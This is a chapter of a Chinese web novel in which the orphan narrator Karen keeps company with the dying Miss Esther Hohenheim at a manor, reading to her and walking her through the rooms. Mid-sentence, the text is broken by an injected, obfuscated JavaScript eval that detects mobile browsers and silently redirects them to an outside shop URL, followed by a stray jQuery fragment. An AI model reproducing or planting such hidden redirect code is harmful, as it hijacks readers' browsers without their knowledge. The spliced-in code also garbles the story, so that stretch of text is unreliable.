夜晚降临，庄园再次被寂静包裹。晚餐后不久，那位沉默的女仆却意外地来到我房间，低声告知：霍恩海姆小姐的病情暂时稳定了，她记着与我的约定，如果我不介意，可以去她房间一趟。
我立刻起身。穿过寂静的走廊，再次来到那扇高大的雕花木门前。这一次，门虚掩着，里面透出温暖的壁炉火光。
我轻轻推门进去。房间里的空气比昨天清新了些，窗户似乎开过又关上了，残留着一丝凉意。壁炉烧得很旺，驱散了冬夜的寒气。艾丝特小姐半靠在床头，身上盖着厚厚的羽绒被，脸色依旧苍白，但比起昨天听说的严重咳嗽，看起来确实平稳了许多。她那双过大的眼睛在火光映照下，显得格外明亮，正静静地望着门口的方向。
房间里没有女仆的身影。
“晚上好，霍恩海姆小姐。” 我走到床边，依礼问候。
她轻轻点了点头，声音比昨天更加虚弱，但很清晰：“晚上好，卡伦。抱歉，早上……有点难受。”
我没有追问，只是将一直带在身边的故事书双手递还给她。“您的书，谢谢您借给我看。”
她接过书，抱在怀里，手指无意识地摩挲着烫金的封面花纹。“你喜欢……哪个故事？” 她问，目光落在我脸上。
我早有准备，回答道：“我喜欢那个关于魔法学院的故事。” 我指的是书中一个描写一群拥有特殊天赋的孩子，在一座古老城堡里学习如何运用他们与生俱来的奇妙能力的短篇。这几乎是霍格沃茨的翻版，只是用了更隐晦的词语。
艾丝特小姐的眼睛似乎亮了一下，苍白的嘴角微微上扬。“我也……喜欢这个。” 她低声说，停顿了一下，像是在积蓄力气，然后补充道，声音里带着一丝近乎梦呓般的向往，“我觉得……世界上，或许……真的有这样的地方。”
她说完这句话，眉头忽然蹙了起来，呼吸也变得有些急促，胸口微微起伏。她闭上眼睛，深深吸了几口气，又缓缓吐出，像是在努力平复身体内部某种不适的反应。过了好一会儿，她的呼吸才重新变得平稳，但脸色似乎更白了一点。
她没有再提故事或魔法学院，而是侧过身，从床头另一侧拿起一本比昨晚那本更薄，封面也更朴素的书，递给我。“读。”
她的语气温和，似乎是想让我读一些书给她听。
我接过书，是一本诗集，英文的。我顺从地翻开，找到一首看起来不那么晦涩的，开始轻声朗读。我的声音在温暖的房间里回荡，壁炉的火光跳跃着，映照着床上女孩苍白的脸和紧闭的眼睑。
诗集的文字优美而宁静，大多是描写自然风光和内心感怀。我读得很慢，尽量让语气平和。艾丝特小姐起初还安静地听着，偶尔睫毛会颤动一下。但渐渐地，她的呼吸变得更加悠长而平稳，眼皮也沉甸甸地合拢，不再睁开。
她睡着了，即使在睡梦中，眉头也微微蹙着，仿佛连梦境都带着病痛的阴影。
我看着她在火光下显得异常脆弱安静的睡颜，手中的诗集不知何时已经被我合上。
我想起下午在花园里听到的诅咒传说，想起老园丁唏嘘的语气，想起更早些时候，我溜达到厨房附近时，无意中听到两个正在清洗餐具的帮厨压低的交谈：
“……看着一天不如一天了，真可怜。”
“是啊，医师昨天又来了，摇头叹气的。我看啊，怕是……挺不过这个圣诞节了。”
“嘘！小声点！别让人听见！”
……
那些话语，此刻无比清晰地回响在耳边。
挺不过圣诞节。
我看着床上呼吸微弱，仿佛一碰即碎的艾丝特小姐，一种复杂的情绪堵在胸口。
怜悯？惋惜？她不过是个病弱的孩子，也许还是因为那个诅咒。
我的声音彻底低下去，直到完全消失。房间里只剩下壁炉木柴燃烧的噼啪声，和她几乎听不见的呼吸声。
我静静地站了一会儿，然后，鬼使神差地，我伸出手，非常轻，非常快地，用手指触碰了一下她露在被子外，散落在枕边的长发。发丝冰凉而柔软。
随即，我收回了手。
我最后看了她一眼，将诗集轻轻放在床边的矮柜上，然后悄无声息地退出了房间，轻轻带上了门。
·
第二天早上，出乎意料地，艾丝特小姐的精神似乎比昨晚好了不少。女仆送来早餐时，也带来了消息：小姐吃了药，感觉身体松快了些，虽然依旧不能出门吹风，但她希望能见见我。
当我再次走进她的房间时，阳光透过半开的窗帘洒进来，让房间比夜晚明亮了许多。艾丝特小姐已经坐了起来，背后垫着厚厚的枕头，身上穿着一件浅蓝色的晨衣，头发梳理过，虽然脸色依旧苍白，但眼睛里有了点神采。
看到我，她甚至主动开口说道：“今天……感觉好些了。” 她的声音依旧很轻，但比昨晚有力了一点点。
“太好了，小姐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17708133|208351||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。” 我由衷地说。
她似乎心情不错，示意女仆帮她穿上保暖的软鞋和厚外套，然后，她向我伸出手。
“陪我……走走。” 她说。
我愣了一下，随即上前，小心地搀扶住她伸出的胳膊。她的手很凉，而且几乎没什么重量。女仆想要上前帮忙，但艾丝特小姐摇了摇头，只让我搀扶。
于是，我们开始了在庄园内部缓慢的散步。
说是散步，其实只是在相连的几个房间里缓缓移动。阳光房，小客厅，连着主卧室的起居室……她走得很慢，每一步都似乎需要积蓄力量，大部分时候都靠着我手臂的支撑。她的身体轻得像一片羽毛，我能感觉到她细微的颤抖和努力维持的平衡。
她不太说话，只是偶尔会停下来，指着某幅画，或者某个摆设，轻声说一两句“这是曾祖父从东方带回来的”或者“这里以前放着一架钢琴”。她的目光大部分时间都落在周围熟悉的事物上，但令我有些在意的是，她似乎……很喜欢看我的脸。
当我们停在阳光房一盆盛开的冬季花卉前时，她会抬头看看花，然后又转过头，目光静静地落在我的侧脸上，停留好几秒钟，才又移开。坐在小客厅的沙发上休息时，她的视线也会时不时飘过来，落在我身上，尤其是我的脸。
起初我以为是我的金发蓝眼在霍恩海姆家族中显得格外不同，引起了她的好奇。但渐渐地，我感觉那目光里似乎还包含着别的意思。
“卡伦。” 她忽然轻声叫我的名字。
“嗯？小姐？”
她沉默了一下，阳光透过玻璃顶棚照在她脸上，让她浅色的瞳孔几乎变成了透明的琥珀色。“你的眼睛……很漂亮。” 她最终只是说了这么一句，然后便移开了视线，仿佛刚才只是随口评论了一下天气。
我的心却微微提了起来。只是这样吗？
整个上午，我们就在这缓慢、安静、时而伴有她咳嗽的散步中度过。她看起来很累，但精神却似乎比往常要好，甚至有一次，在我讲起孤儿院里某件微不足道的小事时，她笑了笑。
但当我看着她努力挺直瘦弱的背脊，看着她因为短暂行走而更加苍白的脸颊，听着她偶尔压抑的轻咳，下午在厨房听到的那些低语，又一次不受控制地在我脑海中回响。
挺不过圣诞节。
这个看似平静温和的早晨，这份难得的，短暂的好转，在这句低语的映衬下，蒙上了一层不祥的近乎残忍的阴影。